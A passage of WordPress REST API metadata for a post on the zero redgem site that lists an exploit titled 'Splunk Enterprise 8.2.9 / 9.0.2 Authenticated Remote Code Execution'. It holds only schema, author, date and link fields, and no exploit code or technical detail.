redgem","article_published_time":"2026-02-20T17:46:42+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=42057#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=42057"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966","datePublished":"2026-02-20T17:46:42+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=42057"},"wordCount":2254,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=42057#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=42057","url":"https:\/\/zero.redgem.net\/?p=42057","name":"\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-20T17:46:42+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=42057#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=42057"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=42057#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/42057","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=42057"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/42057\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=42057"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=42057"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=42057"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}